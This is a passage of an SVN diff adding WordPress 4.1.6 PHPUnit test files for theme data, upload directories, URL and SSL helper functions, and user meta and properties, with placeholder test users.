+		$this->assertFalse( wp_get_theme( 'sandbox' )->errors() );
+	}
+
+	/**
+	 * @expectedDeprecated get_themes
+	 */
+	function test_page_templates() {
+		$themes = get_themes();
+
+		$theme = $themes['Page Template Theme'];
+		$this->assertFalse( empty($theme) );
+
+		$templates = $theme['Template Files'];
+		$this->assertTrue( in_array( $this->theme_root . '/page-templates/template-top-level.php', $templates));
+	}
+
+	/**
+	 * @expectedDeprecated get_theme_data
+	 */
+	function test_get_theme_data_top_level() {
+		$theme_data = get_theme_data( DIR_TESTDATA . '/themedir1/theme1/style.css' );
+
+		$this->assertEquals( 'My Theme', $theme_data['Name'] );
+		$this->assertEquals( 'http://example.org/', $theme_data['URI'] );
+		$this->assertEquals( 'An example theme', $theme_data['Description'] );
+		$this->assertEquals( '<a href="http://example.com/">Minnie Bannister</a>', $theme_data['Author'] );
+		$this->assertEquals( 'http://example.com/', $theme_data['AuthorURI'] );
+		$this->assertEquals( '1.3', $theme_data['Version'] );
+		$this->assertEquals( '', $theme_data['Template'] );
+		$this->assertEquals( 'publish', $theme_data['Status'] );
+		$this->assertEquals( array(), $theme_data['Tags'] );
+		$this->assertEquals( 'My Theme', $theme_data['Title'] );
+		$this->assertEquals( 'Minnie Bannister', $theme_data['AuthorName'] );
+	}
+
+	/**
+	 * @expectedDeprecated get_theme_data
+	 */
+	function test_get_theme_data_subdir() {
+		$theme_data = get_theme_data( $this->theme_root . '/subdir/theme2/style.css' );
+
+		$this->assertEquals( 'My Subdir Theme', $theme_data['Name'] );
+		$this->assertEquals( 'http://example.org/', $theme_data['URI'] );
+		$this->assertEquals( 'An example theme in a sub directory', $theme_data['Description'] );
+		$this->assertEquals( '<a href="http://wordpress.org/">Mr. WordPress</a>', $theme_data['Author'] );
+		$this->assertEquals( 'http://wordpress.org/', $theme_data['AuthorURI'] );
+		$this->assertEquals( '0.1', $theme_data['Version'] );
+		$this->assertEquals( '', $theme_data['Template'] );
+		$this->assertEquals( 'publish', $theme_data['Status'] );
+		$this->assertEquals( array(), $theme_data['Tags'] );
+		$this->assertEquals( 'My Subdir Theme', $theme_data['Title'] );
+		$this->assertEquals( 'Mr. WordPress', $theme_data['AuthorName'] );
+	}
+
+	/**
+	 * @ticket 28662
+	 */
+	function test_theme_dir_slashes() {
+		$size = count( $GLOBALS['wp_theme_directories'] );
+
+		@mkdir( WP_CONTENT_DIR . '/themes/foo' );
+		@mkdir( WP_CONTENT_DIR . '/themes/foo-themes' );
+
+		$this->assertTrue( file_exists( WP_CONTENT_DIR . '/themes/foo' ) );
+		$this->assertTrue( file_exists( WP_CONTENT_DIR . '/themes/foo-themes') );
+
+		register_theme_directory( '/' );
+
+		$this->assertCount( $size, $GLOBALS['wp_theme_directories'] );
+
+		register_theme_directory( 'themes/' );
+
+		$this->assertCount( $size, $GLOBALS['wp_theme_directories'] );
+
+		register_theme_directory( '/foo/' );
+
+		$this->assertCount( $size, $GLOBALS['wp_theme_directories'] );
+
+		register_theme_directory( 'foo/' );
+
+		$this->assertCount( $size, $GLOBALS['wp_theme_directories'] );
+
+		register_theme_directory( 'themes/foo/' );
+
+		$this->assertCount( $size + 1, $GLOBALS['wp_theme_directories'] );
+
+		register_theme_directory( WP_CONTENT_DIR . '/foo-themes/' );
+
+		$this->assertCount( $size + 1, $GLOBALS['wp_theme_directories'] );
+
+		foreach ( $GLOBALS['wp_theme_directories'] as $dir ) {
+			$this->assertNotEquals( '/', substr( $dir, -1 ) );
+		}
+
+		rmdir( WP_CONTENT_DIR . '/themes/foo' );
+		rmdir( WP_CONTENT_DIR . '/themes/foo-themes' );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/upload.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/upload.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/upload.php	(revision 33402)
@@ -0,0 +1,93 @@
+<?php
+/**
+ * @group upload
+ * @group media
+ */
+class Tests_Upload extends WP_UnitTestCase {
+
+	var $siteurl;
+
+	function setUp() {
+		if ( is_multisite() ) {
+			$this->knownUTBug( 35 );
+		}
+
+		$this->_reset_options();
+		parent::setUp();
+	}
+
+	function _reset_options() {
+		// system defaults
+		update_option( 'upload_path', 'wp-content/uploads' );
+		update_option( 'upload_url_path', '' );
+		update_option( 'uploads_use_yearmonth_folders', 1 );
+	}
+
+	function test_upload_dir_default() {
+		// wp_upload_dir() with default parameters
+		$info = wp_upload_dir();
+		$this->assertEquals( get_option( 'siteurl' ) . '/wp-content/uploads/' . gmstrftime('%Y/%m'), $info['url'] );
+		$this->assertEquals( ABSPATH . 'wp-content/uploads/' . gmstrftime('%Y/%m'), $info['path'] );
+		$this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+		$this->assertEquals( '', $info['error'] );
+	}
+
+	function test_upload_dir_relative() {
+		// wp_upload_dir() with a relative upload path that is not 'wp-content/uploads'
+		update_option( 'upload_path', 'foo/bar' );
+		$info = wp_upload_dir();
+		$this->delete_folders( ABSPATH . 'foo' );
+
+		$this->assertEquals( get_option( 'siteurl' ) . '/foo/bar/' . gmstrftime('%Y/%m'), $info['url'] );
+		$this->assertEquals( ABSPATH . 'foo/bar/' . gmstrftime('%Y/%m'), $info['path'] );
+		$this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+		$this->assertEquals( '', $info['error'] );
+	}
+
+	/**
+	 * @ticket 5953
+	 */
+	function test_upload_dir_absolute() {
+		$path = '/tmp/wp-unit-test';
+		// wp_upload_dir() with an absolute upload path
+		update_option( 'upload_path', $path );
+		// doesn't make sense to use an absolute file path without setting the url path
+		update_option( 'upload_url_path', '/baz' );
+		$info = wp_upload_dir();
+		$this->delete_folders( $path );
+
+		$this->assertEquals( '/baz/' . gmstrftime('%Y/%m'), $info['url'] );
+		$this->assertEquals( "$path/" . gmstrftime('%Y/%m'), $info['path'] );
+		$this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+		$this->assertEquals( '', $info['error'] );
+	}
+
+	function test_upload_dir_no_yearnum() {
+		update_option( 'uploads_use_yearmonth_folders', 0 );
+		$info = wp_upload_dir();
+		$this->assertEquals( get_option( 'siteurl' ) . '/wp-content/uploads', $info['url'] );
+		$this->assertEquals( ABSPATH . 'wp-content/uploads', $info['path'] );
+		$this->assertEquals( '', $info['subdir'] );
+		$this->assertEquals( '', $info['error'] );
+	}
+
+	function test_upload_path_absolute() {
+		update_option( 'upload_url_path', 'http://example.org/asdf' );
+		$info = wp_upload_dir();
+		$this->assertEquals( 'http://example.org/asdf/' . gmstrftime('%Y/%m'), $info['url'] );
+		$this->assertEquals( ABSPATH . 'wp-content/uploads/' . gmstrftime('%Y/%m'), $info['path'] );
+		$this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+		$this->assertEquals( '', $info['error'] );
+	}
+
+	function test_upload_dir_empty() {
+		// upload path setting is empty - it should default to 'wp-content/uploads'
+		update_option('upload_path', '');
+		$info = wp_upload_dir();
+		$this->assertEquals( get_option( 'siteurl' ) . '/wp-content/uploads/' . gmstrftime('%Y/%m'), $info['url'] );
+		$this->assertEquals( ABSPATH . 'wp-content/uploads/' . gmstrftime('%Y/%m'), $info['path'] );
+		$this->assertEquals( gmstrftime('/%Y/%m'), $info['subdir'] );
+		$this->assertEquals( '', $info['error'] );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/url.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/url.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/url.php	(revision 33402)
@@ -0,0 +1,348 @@
+<?php
+
+// tests for link-template.php and related URL functions
+/**
+ * @group url
+ */
+class Tests_URL extends WP_UnitTestCase {
+	var $_old_server;
+	function setUp() {
+		parent::setUp();
+		$this->_old_server = $_SERVER;
+		$GLOBALS['pagenow'] = '';
+	}
+
+	function tearDown() {
+		$_SERVER = $this->_old_server;
+		parent::tearDown();
+	}
+
+	function test_is_ssl_positive() {
+		$_SERVER['HTTPS'] = 'on';
+		$this->assertTrue( is_ssl() );
+
+		$_SERVER['HTTPS'] = 'ON';
+		$this->assertTrue( is_ssl() );
+
+		$_SERVER['HTTPS'] = '1';
+		$this->assertTrue( is_ssl() );
+
+		unset( $_SERVER['HTTPS'] );
+		$_SERVER['SERVER_PORT'] = '443';
+		$this->assertTrue( is_ssl() );
+	}
+
+	function test_is_ssl_negative() {
+		$_SERVER['HTTPS'] = 'off';
+		$this->assertFalse( is_ssl() );
+
+		$_SERVER['HTTPS'] = 'OFF';
+		$this->assertFalse( is_ssl() );
+
+		unset($_SERVER['HTTPS']);
+		$this->assertFalse( is_ssl() );
+	}
+
+	function test_admin_url_valid() {
+		$paths = array(
+			'' => "/wp-admin/",
+			'foo' => "/wp-admin/foo",
+			'/foo' => "/wp-admin/foo",
+			'/foo/' => "/wp-admin/foo/",
+			'foo.php' => "/wp-admin/foo.php",
+			'/foo.php' => "/wp-admin/foo.php",
+			'/foo.php?bar=1' => "/wp-admin/foo.php?bar=1",
+		);
+		$https = array('on', 'off');
+
+		foreach ($https as $val) {
+			$_SERVER['HTTPS'] = $val;
+			$siteurl = get_option('siteurl');
+			if ( $val == 'on' )
+				$siteurl = str_replace('http://', 'https://', $siteurl);
+
+			foreach ($paths as $in => $out) {
+				$this->assertEquals( $siteurl.$out, admin_url($in), "admin_url('{$in}') should equal '{$siteurl}{$out}'");
+			}
+		}
+	}
+
+	function test_admin_url_invalid() {
+		$paths = array(
+			null => "/wp-admin/",
+			0 => "/wp-admin/",
+			-1 => "/wp-admin/",
+			'///' => "/wp-admin/",
+		);
+		$https = array('on', 'off');
+
+		foreach ($https as $val) {
+			$_SERVER['HTTPS'] = $val;
+			$siteurl = get_option('siteurl');
+			if ( $val == 'on' )
+				$siteurl = str_replace('http://', 'https://', $siteurl);
+
+			foreach ($paths as $in => $out) {
+				$this->assertEquals( $siteurl.$out, admin_url($in), "admin_url('{$in}') should equal '{$siteurl}{$out}'");
+			}
+		}
+	}
+
+	function test_home_url_valid() {
+		$paths = array(
+			'' => "",
+			'foo' => "/foo",
+			'/foo' => "/foo",
+			'/foo/' => "/foo/",
+			'foo.php' => "/foo.php",
+			'/foo.php' => "/foo.php",
+			'/foo.php?bar=1' => "/foo.php?bar=1",
+		);
+		$https = array('on', 'off');
+
+		foreach ($https as $val) {
+			$_SERVER['HTTPS'] = $val;
+			$home = get_option('home');
+			if ( $val == 'on' )
+				$home = str_replace('http://', 'https://', $home);
+
+			foreach ($paths as $in => $out) {
+				$this->assertEquals( $home.$out, home_url($in), "home_url('{$in}') should equal '{$home}{$out}'");
+			}
+		}
+	}
+
+	function test_home_url_invalid() {
+		$paths = array(
+			null => "",
+			0 => "",
+			-1 => "",
+			'///' => "/",
+		);
+		$https = array('on', 'off');
+
+		foreach ($https as $val) {
+			$_SERVER['HTTPS'] = $val;
+			$home = get_option('home');
+			if ( $val == 'on' )
+				$home = str_replace('http://', 'https://', $home);
+
+			foreach ($paths as $in => $out) {
+				$this->assertEquals( $home.$out, home_url($in), "home_url('{$in}') should equal '{$home}{$out}'");
+			}
+		}
+	}
+
+	function test_home_url_from_admin() {
+		$screen = get_current_screen();
+
+		// Pretend to be in the site admin
+		set_current_screen( 'dashboard' );
+		$home = get_option('home');
+
+		// home_url() should return http when in the admin
+		$_SERVER['HTTPS'] = 'on';
+		$this->assertEquals( $home, home_url() );
+
+		$_SERVER['HTTPS'] = 'off';
+		$this->assertEquals( $home, home_url() );
+
+		// If not in the admin, is_ssl() should determine the scheme
+		set_current_screen( 'front' );
+		$this->assertEquals( $home, home_url() );
+		$_SERVER['HTTPS'] = 'on';
+		$home = str_replace('http://', 'https://', $home);
+		$this->assertEquals( $home, home_url() );
+
+
+		// Test with https in home
+		update_option( 'home', set_url_scheme( $home, 'https' ) );
+
+		// Pretend to be in the site admin
+		set_current_screen( 'dashboard' );
+		$home = get_option('home');
+
+		// home_url() should return whatever scheme is set in the home option when in the admin
+		$_SERVER['HTTPS'] = 'on';
+		$this->assertEquals( $home, home_url() );
+
+		$_SERVER['HTTPS'] = 'off';
+		$this->assertEquals( $home, home_url() );
+
+		// If not in the admin, is_ssl() should determine the scheme unless https hard-coded in home
+		set_current_screen( 'front' );
+		$this->assertEquals( $home, home_url() );
+		$_SERVER['HTTPS'] = 'on';
+		$this->assertEquals( $home, home_url() );
+		$_SERVER['HTTPS'] = 'off';
+		$this->assertEquals( $home, home_url() );
+
+		update_option( 'home', set_url_scheme( $home, 'http' ) );
+
+		$GLOBALS['current_screen'] = $screen;
+	}
+
+	function test_network_home_url_from_admin() {
+		$screen = get_current_screen();
+
+		// Pretend to be in the site admin
+		set_current_screen( 'dashboard' );
+		$home = network_home_url();
+
+		// home_url() should return http when in the admin
+		$this->assertEquals( 0, strpos( $home, 'http://') );
+		$_SERVER['HTTPS'] = 'on';
+		$this->assertEquals( $home, network_home_url() );
+
+		$_SERVER['HTTPS'] = 'off';
+		$this->assertEquals( $home, network_home_url() );
+
+		// If not in the admin, is_ssl() should determine the scheme
+		set_current_screen( 'front' );
+		$this->assertEquals( $home, network_home_url() );
+		$_SERVER['HTTPS'] = 'on';
+		$home = str_replace('http://', 'https://', $home);
+		$this->assertEquals( $home, network_home_url() );
+
+		$GLOBALS['current_screen'] = $screen;
+	}
+
+	function test_set_url_scheme() {
+		if ( ! function_exists( 'set_url_scheme' ) )
+			return;
+
+		$links = array(
+			'http://wordpress.org/',
+			'https://wordpress.org/',
+			'http://wordpress.org/news/',
+			'http://wordpress.org',
+		);
+
+		$https_links = array(
+			'https://wordpress.org/',
+			'https://wordpress.org/',
+			'https://wordpress.org/news/',
+			'https://wordpress.org',
+		);
+
+		$http_links = array(
+			'http://wordpress.org/',
+			'http://wordpress.org/',
+			'http://wordpress.org/news/',
+			'http://wordpress.org',
+		);
+
+		$relative_links = array(
+			'/',
+			'/',
+			'/news/',
+			''
+		);
+
+		$forced_admin = force_ssl_admin();
+		$forced_login = force_ssl_login();
+		$i = 0;
+		foreach ( $links as $link ) {
+			$this->assertEquals( $https_links[ $i ], set_url_scheme( $link, 'https' ) );
+			$this->assertEquals( $http_links[ $i ], set_url_scheme( $link, 'http' ) );
+			$this->assertEquals( $relative_links[ $i ], set_url_scheme( $link, 'relative' ) );
+
+			$_SERVER['HTTPS'] = 'on';
+			$this->assertEquals( $https_links[ $i ], set_url_scheme( $link ) );
+
+			$_SERVER['HTTPS'] = 'off';
+			$this->assertEquals( $http_links[ $i ], set_url_scheme( $link ) );
+
+			force_ssl_login( false );
+			force_ssl_admin( true );
+			$this->assertEquals( $https_links[ $i ], set_url_scheme( $link, 'admin' ) );
+			$this->assertEquals( $https_links[ $i ], set_url_scheme( $link, 'login_post' ) );
+			$this->assertEquals( $https_links[ $i ], set_url_scheme( $link, 'login' ) );
+			$this->assertEquals( $https_links[ $i ], set_url_scheme( $link, 'rpc' ) );
+
+			force_ssl_admin( false );
+			$this->assertEquals( $http_links[ $i ], set_url_scheme( $link, 'admin' ) );
+			$this->assertEquals( $http_links[ $i ], set_url_scheme( $link, 'login_post' ) );
+			$this->assertEquals( $http_links[ $i ], set_url_scheme( $link, 'login' ) );
+			$this->assertEquals( $http_links[ $i ], set_url_scheme( $link, 'rpc' ) );
+
+			force_ssl_login( true );
+			$this->assertEquals( $https_links[ $i ], set_url_scheme( $link, 'admin' ) );
+			$this->assertEquals( $https_links[ $i ], set_url_scheme( $link, 'login_post' ) );
+			$this->assertEquals( $https_links[ $i ], set_url_scheme( $link, 'login' ) );
+			$this->assertEquals( $https_links[ $i ], set_url_scheme( $link, 'rpc' ) );
+
+			$i++;
+		}
+
+		force_ssl_admin( $forced_admin );
+		force_ssl_login( $forced_login );
+	}
+
+	function test_get_adjacent_post() {
+		$post_id = $this->factory->post->create();
+		sleep( 1 ); // get_adjacent_post() doesn't handle posts created in the same second.
+		$post_id2 = $this->factory->post->create();
+
+		if ( ! isset( $GLOBALS['post'] ) )
+			$GLOBALS['post'] = null;
+		$orig_post = $GLOBALS['post'];
+		$GLOBALS['post'] = get_post( $post_id2 );
+
+		$p = get_adjacent_post();
+		$this->assertInstanceOf( 'WP_Post', $p );
+		$this->assertEquals( $post_id, $p->ID );
+
+		// The same again to make sure a cached query returns the same result
+		$p = get_adjacent_post();
+		$this->assertInstanceOf( 'WP_Post', $p );
+		$this->assertEquals( $post_id, $p->ID );
+
+		// Test next
+		$p = get_adjacent_post( false, '', false );
+		$this->assertEquals( '', $p );
+
+		unset( $GLOBALS['post'] );
+		$this->assertNull( get_adjacent_post() );
+
+		$GLOBALS['post'] = $orig_post;
+
+		// Tests requiring creating more posts can't be run since the query
+		// cache in get_adjacent_post() requires a fresh page load to invalidate.
+	}
+
+	/**
+	 * Test that *_url functions handle paths with ".."
+	 *
+	 * @ticket 19032
+	 */
+	public function test_url_functions_for_dots_in_paths() {
+		$functions = array(
+			'site_url',
+			'home_url',
+			'admin_url',
+			'network_admin_url',
+			'user_admin_url',
+			'includes_url',
+			'network_site_url',
+			'network_home_url',
+			'content_url',
+			'plugins_url',
+		);
+
+		foreach ( $functions as $function ) {
+			$this->assertEquals( call_user_func( $function, '/' ) . '../',
+				call_user_func( $function, '../' ) );
+			$this->assertEquals( call_user_func( $function, '/' ) . 'something...here',
+				call_user_func( $function, 'something...here' ) );
+		}
+
+		// These functions accept a blog ID argument.
+		foreach ( array( 'get_site_url', 'get_home_url', 'get_admin_url' ) as $function ) {
+			$this->assertEquals( call_user_func( $function, null, '/' ) . '../',
+				call_user_func( $function, null, '../' ) );
+			$this->assertEquals( call_user_func( $function, null, '/' ) . 'something...here',
+				call_user_func( $function, null, 'something...here' ) );
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/user.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/user.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/user.php	(revision 33402)
@@ -0,0 +1,667 @@
+<?php
+
+// test functions in wp-includes/user.php
+/**
+ * @group user
+ */
+class Tests_User extends WP_UnitTestCase {
+
+	function test_get_users_of_blog() {
+		// add one of each user role
+		$nusers = array();
+		foreach ( array('administrator', 'editor', 'author', 'contributor', 'subscriber' ) as $role ) {
+			$id = $this->factory->user->create( array( 'role' => $role ) );
+			$nusers[ $id ] = $id;
+		}
+
+		$user_list = get_users();
+
+		// find the role of each user as returned by get_users_of_blog
+		$found = array();
+		foreach ( $user_list as $user ) {
+			// only include the users we just created - there might be some others that existed previously
+			if ( isset( $nusers[$user->ID] ) ) {
+				$found[ $user->ID] = $user->ID;
+			}
+		}
+
+		// make sure every user we created was returned
+		$this->assertEquals($nusers, $found);
+	}
+
+	// simple get/set tests for user_option functions
+	function test_user_option() {
+		$key = rand_str();
+		$val = rand_str();
+
+		$user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+
+		// get an option that doesn't exist
+		$this->assertFalse(get_user_option($key, $user_id));
+
+		// set and get
+		update_user_option( $user_id, $key, $val );
+		$this->assertEquals( $val, get_user_option($key, $user_id) );
+
+		// change and get again
+		$val2 = rand_str();
+		update_user_option( $user_id, $key, $val2 );
+		$this->assertEquals( $val2, get_user_option($key, $user_id) );
+
+	}
+
+	// simple tests for usermeta functions
+	function test_usermeta() {
+
+		$key = rand_str();
+		$val = rand_str();
+
+		$user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+
+		// get a meta key that doesn't exist
+		$this->assertEquals( '', get_user_meta($user_id, $key, true));
+
+		// set and get
+		update_user_meta( $user_id, $key, $val );
+		$this->assertEquals( $val, get_user_meta($user_id, $key, true) );
+
+		// change and get again
+		$val2 = rand_str();
+		update_user_meta( $user_id, $key, $val2 );
+		$this->assertEquals( $val2, get_user_meta($user_id, $key, true) );
+
+		// delete and get
+		delete_user_meta( $user_id, $key );
+		$this->assertEquals( '', get_user_meta($user_id, $key, true) );
+
+		// delete by key AND value
+		update_user_meta( $user_id, $key, $val );
+		// incorrect key: key still exists
+		delete_user_meta( $user_id, $key, rand_str() );
+		$this->assertEquals( $val, get_user_meta($user_id, $key, true) );
+		// correct key: deleted
+		delete_user_meta( $user_id, $key, $val );
+		$this->assertEquals( '', get_user_meta($user_id, $key, true) );
+
+	}
+
+	// test usermeta functions in array mode
+	function test_usermeta_array() {
+		// some values to set
+		$vals = array(
+			rand_str() => 'val-'.rand_str(),
+			rand_str() => 'val-'.rand_str(),
+			rand_str() => 'val-'.rand_str(),
+		);
+
+		$user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+
+		// there is already some stuff in the array
+		$this->assertTrue(is_array(get_user_meta($user_id)));
+
+		foreach ($vals as $k=>$v)
+			update_user_meta( $user_id, $k, $v );
+
+		// get the complete usermeta array
+		$out = get_user_meta($user_id);
+
+		// for reasons unclear, the resulting array is indexed numerically; meta keys are not included anywhere.
+		// so we'll just check to make sure our values are included somewhere.
+		foreach ($vals as $k=>$v)
+			$this->assertTrue(isset($out[$k]) && $out[$k][0] == $v);
+
+		// delete one key and check again
+		$keys = array_keys( $vals );
+		$key_to_delete = array_pop( $keys );
+		delete_user_meta($user_id, $key_to_delete);
+		$out = get_user_meta($user_id);
+		// make sure that key is excluded from the results
+		foreach ($vals as $k=>$v) {
+			if ($k == $key_to_delete)
+				$this->assertFalse(isset($out[$k]));
+			else
+			$this->assertTrue(isset($out[$k]) && $out[$k][0] == $v);
+		}
+	}
+
+	// Test property magic functions for property get/set/isset.
+	function test_user_properties() {
+		$user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+		$user = new WP_User( $user_id );
+
+		foreach ( $user->data as $key => $data ) {
+			$this->assertEquals( $data, $user->$key );
+		}
+
+		$this->assertTrue( isset( $user->$key ) );
+		$this->assertFalse( isset( $user->fooooooooo ) );
+
+		$user->$key = 'foo';
+		$this->assertEquals( 'foo', $user->$key );
+		$this->assertEquals( 'foo', $user->data->$key );  // This will fail with WP < 3.3
+
+		foreach ( (array) $user as $key => $value ) {
+			$this->assertEquals( $value, $user->$key );
+		}
+	}
+
+	// Test meta property magic functions for property get/set/isset.
+	function test_user_meta_properties() {
+		global $wpdb;
+
+		$user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+		$user = new WP_User( $user_id );
+
+		update_user_option( $user_id, 'foo', 'foo', true );
+
+		$this->assertTrue( isset( $user->foo ) );
+
+		$this->assertEquals( 'foo', $user->foo );
+	}
+
+	/**
+	 * @expectedDeprecated WP_User->id
+	 */
+	function test_id_property_back_compat() {
+		$user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+		$user = new WP_User( $user_id );
+
+		$this->assertTrue( isset( $user->id ) );
+		$this->assertEquals( $user->ID, $user->id );
+		$user->id = 1234;
+		$this->assertEquals( $user->ID, $user->id );
+	}
+
+	/**
+	 * ticket 19265
+	 */
+	function test_user_level_property_back_compat() {
+		$roles = array(
+			'administrator' => 10,
+			'editor' => 7,
+			'author' => 2,
+			'contributor' => 1,
+			'subscriber' => 0,
+		);
+
+		foreach ( $roles as $role => $level ) {
+			$user_id = $this->factory->user->create( array( 'role' => $role ) );
+			$user = new WP_User( $user_id );
+
+			$this->assertTrue( isset( $user->user_level ) );
+			$this->assertEquals( $level, $user->user_level );
+		}
+	}
+
+	function test_construction() {
+		$user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+
+		$user = new WP_User( $user_id );
+		$this->assertInstanceOf( 'WP_User', $user );
+		$this->assertEquals( $user_id, $user->ID );
+
+		$user2 = new WP_User( 0,  $user->user_login );
+		$this->assertInstanceOf( 'WP_User', $user2 );
+		$this->assertEquals( $user_id, $user2->ID );
+		$this->assertEquals( $user->user_login, $user2->user_login );
+
+		$user3 = new WP_User();
+		$this->assertInstanceOf( 'WP_User', $user3 );
+		$this->assertEquals( 0, $user3->ID );
+		$this->assertFalse( isset( $user3->user_login ) );
+
+		$user3->init( $user->data );
+		$this->assertEquals( $user_id, $user3->ID );
+
+		$user4 = new WP_User( $user->user_login );
+		$this->assertInstanceOf( 'WP_User', $user4 );
+		$this->assertEquals( $user_id, $user4->ID );
+		$this->assertEquals( $user->user_login, $user4->user_login );
+
+		$user5 = new WP_User( null, $user->user_login );
+		$this->assertInstanceOf( 'WP_User', $user5 );
+		$this->assertEquals( $user_id, $user5->ID );
+		$this->assertEquals( $user->user_login, $user5->user_login );
+
+		$user6 = new WP_User( $user );
+		$this->assertInstanceOf( 'WP_User', $user6 );
+		$this->assertEquals( $user_id, $user6->ID );
+		$this->assertEquals( $user->user_login, $user6->user_login );
+
+		$user7 = new WP_User( $user->data );
+		$this->assertInstanceOf( 'WP_User', $user7 );
+		$this->assertEquals( $user_id, $user7->ID );
+		$this->assertEquals( $user->user_login, $user7->user_login );
+	}
+
+	function test_get() {
+		$user_id = $this->factory->user->create( array(
+			'role' => 'author',
+			'user_login' => 'test_wp_user_get',
+			'user_pass' => 'password',
+			'user_email' => 'test@test.com',
+		) );
+
+		$user = new WP_User( $user_id );
+		$this->assertEquals( 'test_wp_user_get', $user->get( 'user_login' ) );
+		$this->assertEquals( 'test@test.com', $user->get( 'user_email' ) );
+		$this->assertEquals( 0, $user->get( 'use_ssl' ) );
+		$this->assertEquals( '', $user->get( 'field_that_does_not_exist' ) );
+
+		update_user_meta( $user_id, 'dashed-key', 'abcdefg' );
+		$this->assertEquals( 'abcdefg', $user->get( 'dashed-key' ) );
+	}
+
+	function test_has_prop() {
+		$user_id = $this->factory->user->create( array(
+			'role' => 'author',
+			'user_login' => 'test_wp_user_has_prop',
+			'user_pass' => 'password',
+			'user_email' => 'test2@test.com',
+		) );
+
+		$user = new WP_User( $user_id );
+		$this->assertTrue( $user->has_prop( 'user_email') );
+		$this->assertTrue( $user->has_prop( 'use_ssl' ) );
+		$this->assertFalse( $user->has_prop( 'field_that_does_not_exist' ) );
+
+		update_user_meta( $user_id, 'dashed-key', 'abcdefg' );
+		$this->assertTrue( $user->has_prop( 'dashed-key' ) );
+	}
+
+	function test_update_user() {
+		$user_id = $this->factory->user->create( array(
+			'role' => 'author',
+			'user_login' => 'test_wp_update_user',
+			'user_pass' => 'password',
+			'user_email' => 'test3@test.com',
+		) );
+		$user = new WP_User( $user_id );
+
+		update_user_meta( $user_id, 'description', 'about me' );
+		$this->assertEquals( 'about me', $user->get( 'description' ) );
+
+		$user_data = array( 'ID' => $user_id, 'display_name' => 'test user' );
+		wp_update_user( $user_data );
+
+		$user = new WP_User( $user_id );
+		$this->assertEquals( 'test user', $user->get( 'display_name' ) );
+
+		// Make sure there is no collateral damage to fields not in $user_data
+		$this->assertEquals( 'about me', $user->get( 'description' ) );
+
+		// Pass as stdClass
+		$user_data = array( 'ID' => $user_id, 'display_name' => 'a test user' );
+		wp_update_user( (object) $user_data );
+
+		$user = new WP_User( $user_id );
+		$this->assertEquals( 'a test user', $user->get( 'display_name' ) );
+
+		// Pass as WP_User
+		$user = new WP_User( $user_id );
+		$user->display_name = 'some test user';
+		wp_update_user( $user );
+
+		$user = new WP_User( $user_id );
+		$this->assertEquals( 'some test user', $user->get( 'display_name' ) );
+
+		// Test update of fields in _get_additional_user_keys()
+		$user_data = array( 'ID' => $user_id, 'use_ssl' => 1, 'show_admin_bar_front' => 1,
+						   'rich_editing' => 1, 'first_name' => 'first', 'last_name' => 'last',
+						   'nickname' => 'nick', 'comment_shortcuts' => 1, 'admin_color' => 'classic',
+						   'description' => 'describe' );
+		wp_update_user( $user_data );
+
+		$user = new WP_User( $user_id );
+		foreach ( $user_data as $key => $value )
+			$this->assertEquals( $value, $user->get( $key ), $key );
+	}
+
+	/**
+	 * Test that usermeta cache is cleared after user deletion.
+	 *
+	 * @ticket 19500
+	 */
+	function test_get_blogs_of_user() {
+		// Logged out users don't have blogs.
+		$this->assertEquals( array(), get_blogs_of_user( 0 ) );
+
+		$user_id = $this->factory->user->create( array( 'role' => 'subscriber' ) );
+		$blogs = get_blogs_of_user( $user_id );
+		$this->assertEquals( array( 1 ), array_keys( $blogs ) );
+
+		// Non-existent users don't have blogs.
+		if ( is_multisite() )
+			wpmu_delete_user( $user_id );
+		else
+			wp_delete_user( $user_id );
+
+		$user = new WP_User( $user_id );
+		$this->assertFalse( $user->exists(), 'WP_User->exists' );
+		$this->assertEquals( array(), get_blogs_of_user( $user_id ) );
+	}
+
+	/**
+	 * Test that usermeta cache is cleared after user deletion.
+	 *
+	 * @ticket 19500
+	 */
+	function test_is_user_member_of_blog() {
+		$old_current = get_current_user_id();
+
+		$user_id = $this->factory->user->create( array( 'role' => 'subscriber' ) );
+		wp_set_current_user( $user_id );
+
+		$this->assertTrue( is_user_member_of_blog() );
+		$this->assertTrue( is_user_member_of_blog( 0, 0 ) );
+		$this->assertTrue( is_user_member_of_blog( 0, get_current_blog_id() ) );
+		$this->assertTrue( is_user_member_of_blog( $user_id ) );
+		$this->assertTrue( is_user_member_of_blog( $user_id, get_current_blog_id() ) );
+
+		// Will only remove the user from the current site in multisite; this is desired
+		// and will achieve the desired effect with is_user_member_of_blog().
+		wp_delete_user( $user_id );
+
+		$this->assertFalse( is_user_member_of_blog( $user_id ) );
+		$this->assertFalse( is_user_member_of_blog( $user_id, get_current_blog_id() ) );
+
+		wp_set_current_user( $old_current );
+	}
+
+	/**
+	 * ticket 19595
+	 */
+	function test_global_userdata() {
+		global $userdata, $wpdb;
+
+		$user_id = $this->factory->user->create( array( 'role' => 'subscriber' ) );
+		wp_set_current_user( $user_id );
+
+		$this->assertNotEmpty( $userdata );
+		$this->assertInstanceOf( 'WP_User', $userdata );
+		$this->assertEquals( $userdata->ID, $user_id );
+		$prefix = $wpdb->get_blog_prefix();
+		$cap_key = $prefix . 'capabilities';
+		$this->assertTrue( isset( $userdata->$cap_key ) );
+	}
+
+	/**
+	 * ticket 19769
+	 */
+	function test_global_userdata_is_null_when_logged_out() {
